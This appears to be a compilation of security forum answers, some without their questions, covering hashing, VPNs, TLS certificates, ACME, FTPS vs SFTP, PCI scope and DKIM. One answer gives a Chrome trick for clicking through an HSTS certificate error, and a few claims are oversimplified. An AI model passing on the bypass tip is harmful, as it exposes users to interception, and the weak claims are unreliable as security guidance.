They're requesting your MAC address because they're using MAC filtering to control access to the WiFi network.   That does not in and of itself constitute the ability to see what you're doing when you're on the school's network, and certainly not when you're at home.

If this is the only requirement, and they are not also requiring you to install things (monitoring software, root certificates) then it gives them no ability at all to see what happens when you're at home, or on any network other than theirs, and even on their network, they will only have the ability to see unencrypted traffic.


How are SHA1 and MD5 considered to not protect against collisions?

The Algorithms are broken : We can manually generate false certificates given only the md5 signature, for instance.

Many weaknesses have been found is SHA-1 to this day, but as far as I know, you can't yet generate a false certificate matching a SHA-1 hash. However, it is being considered obsolete, security experts think this weakness may soon come, and are banishing SHA-1-signed certificates by 2016

Also, optimizing SHA-1 calculation is not cool : it eases bruteforcing a SHA-1 hash. As I found on the internet some time ago, "Hash algorithms are like sex : Faster is not better"


VPN provide privacy, but does it provide security as well like virus checking?

While it is possible that some product exists that attempts to do virus detection, a VPN alone does not provide any assurances regarding the content that flows through it. You are right that the VPN may be encrypted (a VPN doesn't need encryption to be a VPN, as its main use is to tunnel in to remote networks, although nearly all VPNs are encrypted), and thus network IDS systems will typically not be able to analyze the contents. That said, sensors could be placed on the VPN server to inspect traffic after encryption terminates.

So yes, it is certainly possible for malware to travel/spread over a VPN. It's just data like anything else.


Might the Bitdefender Safe Pay module be consider a VPN service?

They do completely different things. A VPN connection encrypts data going across a network - it might be used to hide traffic from a network monitor or ISP, for example. A sandbox prevents access between applications on the same PC - it would aim to protect against malicious software on the local machine.

When making payments, the data being sent to the recipient site is usually encrypted by the use of HTTPS. It can't be encrypted further for the final leg because the recipient site wouldn't be able to decrypt it. This is the case when using a VPN too - the connection between the VPN endpoint and the shop is only encrypted with the shop's SSL certificate. By contrast, when you connect directly, the connection between your computer and the shop is encrypted with the SSL certificate [1].

A VPN can be used to browse anonymously, as long as you trust the VPN provider - they will know both the original source of the data (and if they're a paid provider, probably precisely who is behind it) and the destination. However, if you make payments using credit cards or similar methods, you will still reveal your identity to the recipient site, even though they wouldn't be able to see your original IP address as easily.

A sandbox doesn't conceal your IP address - it can't, since the data is still coming directly from your computer. It also can't encrypt data in transit further, else the receiver wouldn't be able to use it. However, it can attempt to protect against other software on your machine being able to tamper with the data before it is sent. It has nothing to do with anonymity.

[1] This is a slight simplification, but the key elements are included.


What is a satisfactory result of penetration testing assessment?

As someone who contracts pen-testers more than I act as a pen-tester, what I'm looking for is that you did more than run Nessus/ZAP/Burp - I can do that myself (though I expect that you do that as well).  I expect you watch the dataflows in the app/website and look for those loose threads that indicate there is a logic error that might be exploitable.  I expect that you are able to tell me what you can glean from the outside, that you can tell me things that cause concern that couldn't be found with a scan.

I'm looking for indications that you looked at, for instance, password reset screens and considered whether the flow is exploitable.  I want to see that you've considered whether privileged information is available to unprivileged users (ie, is the app just using css to hide it or something daft like that).

Ideally, I've done the easy stuff before I contract you - I've done the scan, I've done the patches and I've picked all the low-hanging fruit.  I hire a pen-tester for the hard stuff.

Really, if you don't manage an exploit, I want to see that you've worn your fingernails down scratching at the outside looking for a crack.


How to make sure certifi python package is up to date

Upgrading certifi installed by pip3 can be done using the following

pip3 install certifi --upgrade

Requests just uses the installed certificate module.


Why can SSL certificates not be free of charge?

SSL certificates provide two things, encryption and authentication.  For encryption, any SSL certificate will do.  You can use a self-signed certificate which you can make free of charge and it will provide encrypted communication between your server and a client.

The problem is that since it lacks any authentication, an attacker could simply make their own certificate and claim to be the server you want to connect to.  Your browser wouldn't know the difference and would connect to the attacker with an encrypted connection and the attacker could then attach to the real server and monitor all your communication.

To avoid this problem, SSL certificates also need to provide authentication and that means that someone has to verify domain ownership and identity information.  The policies have to be administered and systems have to be run to handle dealing with lost keys.  Relationships also have to be built with browser makers to get the root keys for the certificate authorities in to the applications.  This all has costs and so those costs are passed on to those who buy SSL certificates from a Certificate Authority.

In exchange for that cost, the CA verifies the identity of the organization and domain that they are issuing the certificate to.  Now back in our original case, the attacker may be able to get between the client and the server, but they can't get the client to connect to their SSL certificate since it isn't trusted and if the client connects with the real SSL certificate, then the encryption kicks in blocking the attacker from being able to monitor what is happening.

More recently, the service Let's Encrypt has appeared and offers a limited selection of free certificates.  They are able to do this for three main reasons:

First, they have generous sponsors who support their operating costs.  Lack of encryption and trust on the internet has become a growing problem in recent years as attackers have grown increasingly capable.  This need, and the cost of dealing with the lack of trust on the internet, has led to Let's Encrypt being able to get funding.

Second, they offer an extremely limited portfolio of certificate options.  They lack the facilities for handling EV certificates or even identity validation.  They only offer domain validation and only offer extremely short validity periods due to the automated nature of their verification.

Third, they drastically limited their costs by cutting humans out of the equation.  Rather than have conventional validation, Let's Encrypt works purely from automated domain level validation via the ACME protocol.  This is good enough to establish a low level of trust that the domain server is being run by the same person that controls the domain name, but not good for anything else.

While it is a free option, unless you are certain of the identity of the website operator, it isn't nearly as good or as trust worthy as certificates available from paid CAs who do further identity verification prior to issuing certificates (though it's of equal value to domain validated certificates offered by other CAs, some of which also offer similar automated free or low cost options, though with even greater limitations on the certs offered.)


Your options is to:

Make self signed certificate for API-machine, add this certificate to list of trusted certificates on webapp machine;
Make worldwide-valid certificate for API-machine for free with LetsEncrypt (no ads, they're de-facto standard now).

There is no differense, which port does your service resides on. Certificate proves Common Name (CN) - and when it comes to HTTPS, it can be either server's domain name (https://example.com:3031 for certificate's CN example.com) or IP-address (https://11.22.34.56:3031 for certificate's CN 11.22.34.56)


School's computers auto-login and can run .exe's

Your school lacks some of the most basic requirements for security. Never use credentials for remote logins on a system you're not in complete control of and have full knowledge of its level of protection.

Shared computers such as libraries, schools, etc. should never allow access to USB devices for boot, autoplay or execute access. All devices should be scanned automatically when devices are connected. Users should have very limited access and if files are allowed to be downloaded and saved, they should be temporary and not allowed to be executed.  It is not difficult to secure a workstation. What is difficult is to get the person in charge of it to make an effort if they have not already. I would report what you have found but I would not report that you have tested the system with AHK and I would remove any instances of anything you have put onto the system. Being a good samaritan is not always healthy.  And, there is nothing on FB that is so important that you cannot wait until you are on a secure system to access it.

I would not make any effort to fix what you perceive as possible issues. You are not paid to support that system and depending on policies, you could be putting your liberty at risk. It is a tool for you to use, nothing more. Report your concerns and let the school deal with it.


FIPS compliant passwords protection/encryption?

FIPS 140-2 defines standards for cryptographic modules, and related standards specify permitted algorithms which can be validated.  Typically, in these environments, the algorithm used for hashing passwords would be PBKDF2, since that's the only approved key-derivation function of that type.  For symmetric encryption, you would use AES, and I would recommend either the GCM or CCM modes, because they have integrity built in.
Because AES-GCM has catastrophic failure with nonce reuse and the nonce size is not large enough to be picked at random securely, you should use a key-derivation function to derive a new key and nonce for each encryption.
Note that if you don't have regulatory requirements to adopt the FIPS 140-2 technologies, there are other, better algorithms that you should use instead.  Scrypt or Argon2 are much better password hashing functions because they are memory hard; that is, in addition to the CPU cost, they also have a memory cost, making it harder for attackers to use GPUs or ASICs for this purpose.  If your code will run on architectures that don't have hardware AES acceleration, then you may prefer to use ChaCha20-Poly1305 to protect your data, since software AES implementations can be vulnerable to side channel attacks, and ChaCha is much faster on those systems anyway.  For systems with hardware AES acceleration, AES-GCM is probably a fine choice regardless of regulatory requirements.
Of course, as I mentioned, Scrypt, Argon2, and ChaCha aren't approved for government usage, so if you do have regulatory requirements, you'll have to stick with PBKDF2 and AES.
Ideally you will use a standard library for this that combines these primitives in a secure way so that you don't have to think about how to use them correctly.


The ACME spec lists a number different challenges:

  Identifier Validation Challenges
  7.1. Simple HTTP
  7.2. Domain Validation with Server Name Indication (DVSNI)
  7.3. Proof of Possession of a Prior Key
  7.4. DNS

If I had to summarize the detailed process (about two screens full) given in section 7.1. Simple HTTP, then I'd say it goes a something like this:

Client: Hey server, my customer number is x, challenge me!
Server: Okay, put a file named y on your HTTP(S) server and sign it with your customer number key.
Client: Done.
Server: Lemme check... Okay, here's your certificate.

There is also a description of that process with screenshots.

  Does the client decide which port is used?

Yes. But you can only pick between http on 80 or https on 443.

There is a long-running discussion about whether to allow other ports.

  Can the data be put anywhere within the server?

No. I think you're bound to this path:

  The path at which the resource is provisioned is comprised of the fixed prefix “.well-known/acme-challenge/”, followed by the “token” value in the challenge.


Does FTPS (FTP+S) offer better security than SFTP on the server side?

From the security they provide in theory FTPS and SFTP are similar.
In practice you have the following advantages and disadvantages:

With FTPS client applications often fail to validate the certificates properly, which effectively means man in the middle is possible. With SFTP instead users simply skip information about the host key and accept anything, so the result is the same.
But users and admins with more knowledge could make use of SSH keys properly and use these also for authentication which then makes SFTP much easier to use compared to using passwords. And if passwords are forbidden at all then this is also more secure because brute force password attacks are no longer possible.
FTP uses dynamic ports for data connections and information about these ports is transferred in-band. This makes already plain FTP (without TLS) a nightmare when firewalls, NAT or similar is involved. With FTPS (FTP+TLS) this gets even worse because due to the encryption of the control connection helper applications on the firewall can no longer find out which ports need to be opened. This means that to pass FTPS you would need to open a wide range of ports which is bad for security(*). SFTP is much better because it uses only a single connection for control and data.
FTP(S) servers often provide anonymous access and SFTP servers usually don't. Several FTP(S) servers also offer pseudo users, i.e. users taken from same database or similar which are not real users on the system.  If you have proper users only anyway this does not matter.
SFTP uses the SSH protocol and you have to configure the system properly to only allow SFTP access and not also SSH (terminal) access or even SSH forwarding. With FTP this is easier because FTP can do only file transfer anyway.

(*) Several comments do not really believe that having a wide range of ports open is bad for security. Thus let me explain this in more detail:

FTP uses separate TCP connections for data transfer. Which ports are used for these connection are dynamic and information about these gets exchanged inside the control connection. A firewall which does not know which ports are in use currently can only allow a wide port range which maybe will be used sometimes FTP.
These ports need to allow access from outside to inside because in FTP passive mode the client connects to some dynamic port on the server (i.e. relevant for server side firewall) and for FTP active mode the server connects to some dynamic port on the client (relevant for client side firewall).
Having a wide range of ports open for unrestricted access from outside to inside is not what somebody usually considers a restrictive firewall which protects the inside. This is more similar to having a big hole in the door where a burglar might come into the house.
To work around this problem most firewalls employ "helpers" for FTP which look into the FTP control connection to figure out which ports need to be opened for the next data connection. One example is ip_conntrack_ftp for iptables. Unfortunately with FTPS the control connection is (usually) encrypted so these helpers are blind and cannot dynamically open the required ports. This means either FTP does not work or a wide range of ports need to be open all the time.


Is there a way to verify a signed XML in Java

I'm no expert but I believe to suppliment what user2316037 stated I believe javax.xml.crypto.dsig which allows you to sign and validate an XML digital signature.I believe that is what you are looking to use.

Retrieved from:
http://www.oracle.com/technetwork/java/javamail/dig-signature-api-140772.html


Validate database column and table names to prevent SQLi?

I think your best bet is quoting.  The SQL-99 standard specifies that double quote (") is used to delimit identifiers (but your mileage with various DBs will vary). This question  has some more info on how this is handled across databases.

Oracle has a specific function for this DBMS_ASSERT.ENQUOTE_NAME - but if you're looking to go cross platform you will need to do this yourself.  Double quote the name, but check for double quotes in the string and reject the string if they aren't escaped (paired).


Chrome SSL Warning: "You cannot proceed because the website operator has requested heightened security for this domain. "

Please try this Chrome hack: when browser shows the page with the invalid certificate message, type in your keyboard the word "proceed" and then hit Enter.

You should be able to proceed to the requested page.

On newer versions of Chrome, you may have to type "danger" and hit Enter instead.


For the time being, what I can say is that 0001 1011 is a value given and used in the book Cryptography and Network Security to quicken the calculation of the value (which is most likely been used in most of the computation) How do they derive the number? Well, I am not  really the expert but I believe this greatly involves Finite Field Theory GF(2^m). If I could get good example, I will probably explain it (if I can get the theory right).

While saying this, please be reminded that while using this method of bit shift and XOR, note that you should only XOR 0001 1011 when, and ONLY when, the first bit of the value is 1 before the shift. Therefore, in the example, 1101 0100 has its first bit as 1, so when doing a multiplication, it will need do an XOR 0001 1011. Addition to this criteria, this is only used when you are multiplying with multiplier of 2. Thus, in the second example in the document, {03} is broken down to {02} XOR {01} which is also suggested by the book and multiply respectively. I believe it is shown in the document.

PS. The calculation is up for reading, do let me know if you are feeling unclear: http://kwof.blogspot.sg/2014/05/aes-mix-columns-calculation-some-more.html


If only getting and storing BIN part of credit card number, should I comply with any PCI (or other) specification?

So, if the client side where the user fills the credit card number,
  sends to my system only the BIN - should my system be considered as a
  "connected system" ?

No.  The phrase "connected system" in PCI has a specific meaning, to quote DSS 3.2.1 "Scope of PCI DSS Requirements":

  The PCI DSS security requirements apply to all system components
  included in or connected to the cardholder data environment.

"Connected" means that you're a Merchant or a Processor or some other entity that has a Cardholder Data Environment.  The CDE is fundamentally in scope, and the systems "connected" to that environment are also in scope as a result of that connection.

If you are not a Merchant, and not gathering PAN, then you are not in scope for PCI DSS.  (You want to be careful, though; I would ask the user for first 6 and last 4 and not have them type in the full PAN even if your code intends to discard the middle.)


The $_SERVER['REMOTE_ADDR'] can be trusted.  This is the source address of the TCP connection to the server, it is not taken from headers that are sent by the client as is the case with some of the other $_SERVER variables.


Should security policy acknowledgements in a company be customized for IT vs non IT users?

Yes, the security policy should be based on what is actually relevant to a particular employee's job role. I did write GDPR and security policies including for some very large companies and this was always a case to debate. Now-days most serious companies want data access on need-to-know basis so customizing security policy is important. In many cases I find that 3 levels/cases of policy are sufficient: one for general users, one for IT staff and one for IT Security staff. In today's context it becomes more and more important that IT staff respect various policies (specially regarding accounts and passwords) so making a special policy for them is mandatory. Also, the security level of IT must have additional rules because they are the ones with most privileges.

A lot of things can be used to measure the applicability of security policies. but everything start and ends with the users. There must be a system in place to be able to measure their compliance with the policies. If there is not, you must at least be able to make random polls/tests of their compliance. Without such things everything will eventually become very chaotic and uncontrollable and the overall IT infrastructure will be very exposed.


is it feasible to improve the entropy of XKCD #936 by using a larger dictionary?

Yes, you are correct, and yes you are missing something.

Sure, you could easily increase entropy manifold by using a larger word list; you could also achieve that by using 8-word passphrases, or just using raw entropy bytes directly without the words.

The entire point of that xkcd is balance.
Balance between "enough entropy" and "easy enough to remember".

You could argue if 44 bits is enough entropy, or if you need more. But if so you must take into account the non-negligible cost of reduced memorability. It is always a tradeoff.

As I stated in my answer to the canonical XKCD 936 question:

  AviD's Rule of Usability:
  Security at the expense of usability comes at the expense of security.

So yes, go ahead and use the full language as your dictionary - but you are paying a price, which many would consider to be a bad tradeoff.

As Randall (xkcd's author) explains here (and in agreement with many studies on the subject), he was basing it not just on all possible words in a dictionary, but words that are EASY for a typical person to remember (and type, I will add).

Another option, more aggressive than xkcd but not ridiculously difficult as the full language, is something like Diceware's dictionary - larger than 11 bits per word, but not much more (just under 13 bits).
So 4 words of that would be ~51.5 bits. Or, take another simple word and get almost 65 bits entropy.

Yes, that improves it a bit, without costing much usability, since they still stick to short, common words. (Personally there are still a few "filler" words, like numbers, that I would prefer to do without).

As always, it is about balance.


CSRF and XSS protection via Header & Cookie-based JWT (tokens)?

The authorization header will protect against the csrf. Your responses in json will be XSS protection mechanism. With the information you provided on the JWT claims, seems the token do not have claims to handle token revocation mechanism. This is to handle the corner case of stolen token. It is advisable to have specific token revocation mechanism as per my view.

Of course, this is post attack mitigation strategy and this will not prevent any attacks per say.

Sanjay


Google Accounts login - is it good enough for financial services?

No.

I'm not even talking about whether it's good enough for finance or not, I'm just saying if Google is the only way to login to your service, then I won't use it, and neither will do other privacy-conscious users.

Now, on the technical side. Using third-party logins is less secure because a failure on the third-party site will also affect yours, and the third-party site can itself impersonate any of your users. With your own login, you only have to defend your infrastructure. With third-party logins, you have to defend your infra and hope the third-party's infra is secure.

On a legal side, having your own login system means you have better control and auditing over who did what and when, where as with Google (or any third-party service) all you have is "someone pretending to be X logged in at that time from this IP". Whether they did password recovery beforehand, or had 2FA enabled is something you don't know and can't enforce. When something goes awry, you won't be able to prove it's the user's fault of not securing his account well enough and will have to pay, where as with your own system you'll be able to say "at X in the morning someone reset your password and you didn't have 2FA enabled. Sorry, it's not our fault, now you better work on securing that email account".

Finally, secure logins aren't that hard. Correctly hashing passwords, not doing stupid mistakes like sending the password in emails, using captchas to thwart bruteforce, locking out IPs after multiple failed logins and providing 2FA using standard protocols is all you need to be secure. In comparison, this is what my bank's login process looks like :

Yes. My bank is one of France's largest banks, and their login consists of an 8-digit user ID followed by a 6 digit (no letters, that would be too much to ask) secret code, that you have to enter in a cute little security theater because according to their "experts" someone capable of keylogging isn't capable of taking screenshots of where you click. There is obviously no 2FA, and I wouldn't be surprised if the secret code was stored in plain text. The only good thing is that they lock out IPs after 5 login attempts, but that's about it.

So assuming you do everything I told you above, you'll be more secure than one of the largest banks here; as a little extra precaution you may use a random user ID instead of something known like an username or email (but that makes the user remember two things instead of only the password, which in turn may make them choose a weaker/easier to remember password or to reuse one they already have).

Of course, security of logins isn't the only thing you need to do especially on a finance website. You should also make sure your own servers are secure, so you need to have IDS, monitor every service, check logs often and prepare to act quickly if something appears fishy.


Sent text by bank I don’t have an account with- Is this a scam?

It's a scam. You don't have an account there, so why would they have your email or phone number? And why host a business critical process on a no-domain address without even using HTTPS? And calling it a secure link? Lots of red flags...

If you open that site, the site will probably use a exploit kit to download and execute malware, or show a convincing login page to make you disclose your credentials.

Usually banks don't send emails or text messages to clients regarding account suspension, email and SMS are not the trusted ways to do so.


In the recent DKIM vulnerability, how did someone determine key length by looking at headers?

I've written a DKIM parser and signer for Microsoft Exchange so this is pretty straightforward.  Just note that the public key stored in DNS isn't a typical public key, it is in a more compact form called "public key subject form".

  How can one determine the key length that is being used simply by looking at the headers ?

Do a TXT query for the following values in the header:
    {s value}._domainkey.{d value}   (omit brackets)
Extract the value named "p=" in the above DNS query
Use an ASN.1 parser to determine the key length and other things that are stored within the

Example Public 2048 bit key found in a DKIM "p=" query with an exponent of 65537

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoSd6ya7haEmQl1sWoEVVou8iC618evFqluT5zb
0aMEgBEfHSJRjT/FojPWqhjAtCYMAIggaE0ZxVzPDsMeRc3Mixy2WO9DWYAJuzwP7DyzUAclhGTfP4cG44SlbSsEsMM/91cu5zr9+TulnqPDxUyPvLZjGpJEHXoEWc4m
f6tbksyxZTI+wssw84NLfEs3VC4jN9P1CnfG2aTCC74lj1mePbEBCsg83+Ilz/dsDcH2FGmWVa5ytNCP7kkzyBYkfF09YpDiSXxowRGZbRkGveDvOP3ONUhLrXumpTP6
+/Hm34kbG/kGBSxNOXn8/2jf2m+08Bt8ci9Orzb2s8J81q6QIDAQAB

Simply paste this key into the ASN.1 Javascript decoder to figure out the key length.  Most programmers will just have a library to figure this out.


How to simply check if a certificate has the OCSP must-staple attribute?

If you parse the certificate using openssl x509 -text, you'll get:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            31:64:4e:0c:95:4d:02:eb:78:97:11:6f:62:ee:71:02
    Signature Algorithm: ecdsa-with-SHA256
        Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO ECC Domain Validation Secure Server CA
        Validity
            Not Before: Dec  7 00:00:00 2015 GMT
            Not After : Dec  6 23:59:59 2016 GMT
        Subject: OU=Domain Control Validated, OU=GGSSL Domain SSL, CN=must-staple-no-ocsp.serverhello.com
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (384 bit)
                pub:
                    04:11:7d:2b:99:af:dc:5a:4e:af:83:90:df:52:50:
                    3c:dc:52:08:0d:80:4c:b3:e3:fd:07:9c:99:6f:2c:
                    ab:1d:c0:ad:3e:c9:7c:da:25:f0:c2:e0:24:9b:b5:
                    fa:45:cf:e8:f6:cb:5d:7a:ce:a8:01:b5:af:5a:14:
                    03:fe:7c:6d:db:f3:ed:97:ea:08:cd:33:50:0f:09:
                    f1:00:50:ba:ae:ed:d2:a4:85:5b:4b:97:bf:0b:bf:
                    10:70:e1:32:83:70:d2
                ASN1 OID: secp384r1
        X509v3 extensions:
            X509v3 Authority Key Identifier:
                keyid:BB:FA:08:E0:BF:54:EE:5A:FD:16:A4:35:02:09:A9:A4:C8:EC:FD:4B

            X509v3 Subject Key Identifier:
                1E:4C:D6:4E:0C:75:9F:9A:E9:A4:C0:2E:44:BF:41:02:44:16:B7:B9
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Certificate Policies:
                Policy: 1.3.6.1.4.1.6449.1.2.2.7
                  CPS: https://secure.comodo.com/CPS
                Policy: 2.23.140.1.2.1

            X509v3 CRL Distribution Points:

                Full Name:
                  URI:http://crl.comodoca.com/COMODOECCDomainValidationSecureServerCA.crl

            Authority Information Access:
                CA Issuers - URI:http://crt.comodoca.com/COMODOECCDomainValidationSecureServerCA.crt
                OCSP - URI:http://ocsp.comodoca.com

            1.3.6.1.5.5.7.1.24:
                0....
            X509v3 Subject Alternative Name:
                DNS:must-staple-no-ocsp.serverhello.com, DNS:www.must-staple-no-ocsp.serverhello.com
    Signature Algorithm: ecdsa-with-SHA256
         30:44:02:20:66:ed:0b:d2:4b:0a:97:15:29:91:54:5b:03:df:
         97:ac:b8:f4:dc:cc:43:7b:08:eb:b9:50:cf:16:c2:ac:6f:4e:
         02:20:6e:5c:4d:92:eb:b0:22:b6:91:41:e8:e1:a7:d2:27:cc:
         ef:65:d5:e9:76:9a:a8:1d:d1:b1:1b:7d:79:8c:2c:0b

but openssl s_client -trace will show this:

            TLS Feature:
                status_request

instead of

            1.3.6.1.5.5.7.1.24:
                0....

"1.3.6.1.5.5.7.1.24" is the number in the RFC where it is written in the form "1.3.6.1.5.5.7.1" "24". According to the RFC, it "In particular, the TLS feature extension may be used to mandate support for revocation checking features in the TLS protocol such as Online Certificate Status Protocol (OCSP) stapling."

So, if you need to do it once while debugging, openssl s_client -connect must-staple-no-ocsp.serverhello.com:443 -servername must-staple-no-ocsp.serverhello.com -status, copying the cert PEM into a file, openssl x509 -text -noout -in foo.pem | grep 1.3.6.1.5.5.7.1.24 will be ok. If you need it packaged in an API, that's more complicated.


Server loaded with antivirus lets viral file go through

Let's not overestimate the finding of the security consultant because some of them don't really know what they do. Of course I don't know the real report and can base my opinion only on what you wrote. But I had once to do with a report where the consultant complained that the EICAR virus was not found by a firewall when it was used as a subject of a mail, even though the intended use for the EICAR test virus says explicitly:

  Any anti-virus product that supports the EICAR test file should detect it in any file providing that the file starts with the following 68 characters, and is exactly 68 bytes long...

Thus, detecting the code inside some byte stream inside an application or database does not cover the usage at all because it is not a file. And maybe it does not even fit the other requirements about start and length. But it would be bad if the byte stream gets actually saved somewhere as a file, like when downloaded by the browser.

There is a reason for this usage restriction of the test virus: The byte stream of a virus is not dangerous by itself. It is only a problem when it is used in a context where it can be executed, typically when it is saved as a file with a specific extension like .exe, .com, .scr, .dll etc.

But is is true that if the malicious code is already loaded inside an application it might also be executed by other means, either deliberately or due to a bug like a buffer overflow. Deliberate execution would also be possible if the code was hidden with for example encryption so it does not matter. And buffer overflow would not execute the malicious code directly but there would be some code first which exploits the buffer overflow to then execute the specific code. And even this exploit code  might include some simple XOR to decode the real malicious code first.

This means that looking for the signature of malware somewhere inside some byte stream which may or may not ever be used directly in execution might cause more false alarms than be of real use. Therefore make sure that you don't execute any code yourself you have in the database and that you don't send anybody the data inside a download or save them as a single file yourself.

Apart from that enterprise antivirus products often have an API (or offer ICAP) so you can send any byte stream you want to the antivirus for analysis. This should be done inside your application on any place you consider it necessary. And of course you should be aware that this was just a test virus and that antivirus will not find all possible malware, so you never can offer a full protection.


You practically answered your own question, It's completely viable to use a plain response for harden your system against an analysis attempt.

Other option could be: Use a random UUID to identify your users publicly and keep the primary key only for internal use. A UUID of 16 characters should be enough to mitigate this type of attack.

Finally you should consider log all the failed requests to get users information (403, 404).

Now, What method is better for your situation? is something that you have to decide, consider the next points:

If your system is already in production phase, then it could be
better make a little patch to formalize all the user failed requests
to a 403/404 response.
If you are in the design phase then you could opt for the second
option and build a cool hardened system for your users.


Security benefit of browsers automatically rewriting HTTP to HTTPS?

I suggest you look into NeverSSL, a simple site which will always be served over plain HTTP.

If you are sure it is your browser doing it and not a redirect on the server side, it is likely the result of a security feature called HTTP Strict Transport Security (HSTS). When a website wants to only serve over an encrypted connection, it sets an HTTP header that instructs the browser to only ever connect over TLS. Some sites may even use HSTS preloading, where the redirection policy is hardcoded into the browsers by default, rather than being set via an HTTP header over the network. HSTS of all kinds is designed to defeat MITM attacks that exploit the fact that your browser would be perfectly happy to stay on the non-encrypted version of a site, even if HTTPS is available. According to Security Headers, Amazon uses HSTS. This explains why you are being redirected.


Is NSA disclosure of CRYPT32 vulnerability a charitable public service?

The mission of the NSA is both to help the USA. In some cases this might mean to keep a bug secret in order to use it against adversaries. In other cases keeping a bug secret means too much risk that USA companies and citizens are attacked by adversaries using this bug. Thus it is not about being nice or not but disclosing a bug or not is based on weighing the chances vs. the risks.


Unlock hard drive vs full-disk encryption

There are (typically) three types on on-boot authentication:

BIOS boot password
Drive locking mechanisms (e.g. HP DriveLock)
Full disk encryption (e.g. TrueCrypt / OpenPGP)

The BIOS boot password is simply a logical check inside the BIOS chip, which can be bypassed by flashing the BIOS manually or replacing the chip. It's a soft protection mechanism.

Full disk encryption is a proper security mechanism that involves actively encrypting the entire disk, and using a password or other authentication materials to decrypt the disk data on boot. This is typically performed via 3rd party software, but may also be integrated into the disk hardware.

Drive locking mechanisms are (usually) a proprietary feature of certain laptops, e.g. HP DriveLock. These involve encrypting the low sectors of the hard disk, i.e. the sectors that contain things like telemetry and bad sector mapping. When these are scrambled, a traditional drive controller cannot access the disk. This doesn't encrypt the data of the disk. It is possible to do a full hardware-level image of the sectors from a known set of telemetry and manually carve the file systems out, but it's a significant barrier against all but the best equipped attackers.


What you have said about the "permissions" password is correct. Certain readers (mainly those custom made) can simply choose to ignore it, and not enforce permissions.

As for the "master" password... Adobe Acrobat XI supports both the use of a password or certificate to encrypt the PDF document itself. Use of a plain password is defaulted at a 128-bit AES encryption level. This algorithm is strong, but obviously requires a key that is strong as well. 128-bit AES is supported from Acrobat 7 and later. If you were to look at Acrobat X or later, the algorithm support is 256-bit AES.

The certificate option allows for "all document contents", "contents besides metadata", or "only file attachments". Here the algorithms are 6.0 at 128-RC4, 7.0 128-AES, 9.0 256-AES.

You should also note there is LifeCycle permissions management in XI, but I haven't had time to look into that.


I'm the sysadmin responsible for WinSCP.net hosting. We have moved to HTTPS gradually. As first thing we made available page with checksums (probably already at the time you wrote original post). For some time it was possible to access website on both HTTP and HTTPS and now we serve all pages over HTTPS. We still recommend to check checksum after downloading the files as the files are served from a CDN in certain regions.


Do outdated Javascript libraries present a risk for my web application?

Using any out of date software is inherently a security risk; any flaws patched between the version you're running and the latest version can be exploited. For example, maybe there's a specific payload you can feed it to cause an infinite loop, potentially causing a Denial of Service (DOS) event, or maybe there's a bug that can somehow break the JavaScript sandbox and wreak havoc on the system.

I don't see any critical security issues mentioned on the Internet, but that doesn't mean that they don't exist or haven't been patched. Using the latest version is always recommended when possible, but this may also include testing your code with the new version to make sure that it doesn't break functionality-wise when you update (for example, major releases are often incompatible with prior major releases).

The best way to keep your libraries up to date is to use the package from a toolchain that provides one-click upgrades. For example, if you copy the library to your local server using npm install, you can then import them directly (cloudflare will will provide protection for your site if you use them). From there, updating your libraries is as easy as npm update from the command-line terminal.

It's strongly recommended that you use a TDD (Test Driven Development) suite, such as Mocha, to make sure that your scripts do not break when libraries are upgraded, as well as generally reducing the chance you'll break your code during development. Also, remember to use a repository (like git or subversion) so that you can roll back changes if the npm update causes stuff to break.


Are there tools that can prompt the user every time an executable uses system functions?

First of all, antivirus software doesn't only use a signature database of complete or partial files.

This software also uses behavioral detection to protect from unknown / zero-day malware, for example by monitoring which areas it's trying to access or which files it's trying to change.

Behavioral protection is already included in the popular basic antivirus products - you don't need to get an extended internet security bundle for that.

This is why there are false positives from time to time - the more there are, the more crudely the antivirus engine is tuned.

Most of what you're looking for already exists in some products, in part or all together:

A firewall to monitor web traffic with white-listing options
Extended protection and permission management for specific files/folders or areas of your computer.

Here's an example of Bitdefender's ransomware protection feature, providing protection at boot for specific folders, which you select yourself:

Image source: Bitdefender review

Secondly, a quick google search brought me to a nifty little program called WinPatrol which seems legit enough looking at some forums and reviews:

  WinPatrol is available in a free version, which offers a handful of ways to monitor just what's going on on your PC. You can see a list of startup programs, which you can choose to disable or delay. You also can see a list of recently used programs, hidden files, file types by associated program, active tasks and services, and much more.

Source: PC World

  It gives you the opportunity to stop something that you don't want running.
  It gives you the opportunity to investigate what is running and check it you really need it.
  It's one little pet that I've relied on since Windows 95

Source: Avast forums

Check it out, this might be something you will find useful as an addition to an active antivirus protection.

Affiliation disclaimer: I'm not affiliated with WinPatrol in any way, but I work for the antivirus reviews site from which I took the image.


Same security as other DV certs

What prevents me from using this attack on the Let's Encrypt server, and obtaining a certificate for awesomebank.example, and then using it to MITM customers of AwesomeBank without being detected (because I have a valid certificate)?

Nothing. If you own the network, then you own the network. And DV type certs (see below) rely on the network for proof of domain ownership. There are usually no out-of-band checks. (Nobody will call your phone, nobody will check your photo ID, nobody will visit you at the place the company is registered to, etc.)

Doesn't the existence of a fully automated CA make the Internet less secure?

Nope. Same level of security as DV type certs.
There are (currently) three assurance levels for x509 certs:

DV, Domain Validation
OV, Organization Validation
EV, Extended Validation

DV is the cheapest. It basically means "If somebody can answer an email to admin@example.com, then that person gets a certificate for example.com".
There are additional checks for OV, EV.
More info about cert types: GlobalSign.com: What are the different types of SSL Certificates? (Archived here.) Wikipedia: https://en.wikipedia.org/wiki/Public_key_certificate#Validation_levels
And a lot more background info in these slides here: RSAConference2017, Session ID: PDAC-W10, Kirk Hall, 100% Encrypted Web -- New Challenges for TLS
Further reading

Ryan Hurst,  2016-01-06, Understanding risks and avoiding FUD (Archived here.)
Nice blog post by GlobalSign CTO Ryan Hurst on his private blog.
He largely makes the same points as me. But it's a lot more in depth. And it's a bit of a rant against TrendMicro's rhetoric against Let's-Encrypt.
Note that TrendMicro and GlobalSign both sell SSL certificates and are direct competitors. (Also: They both are members of the CAB Forum and members of the CA Security Council.)
Update 2018-03-06: Scott Helme, 2018-03-06, Debunking the fallacy that paid certificates are better than free certificates, and other related nonsense (Archived here.)


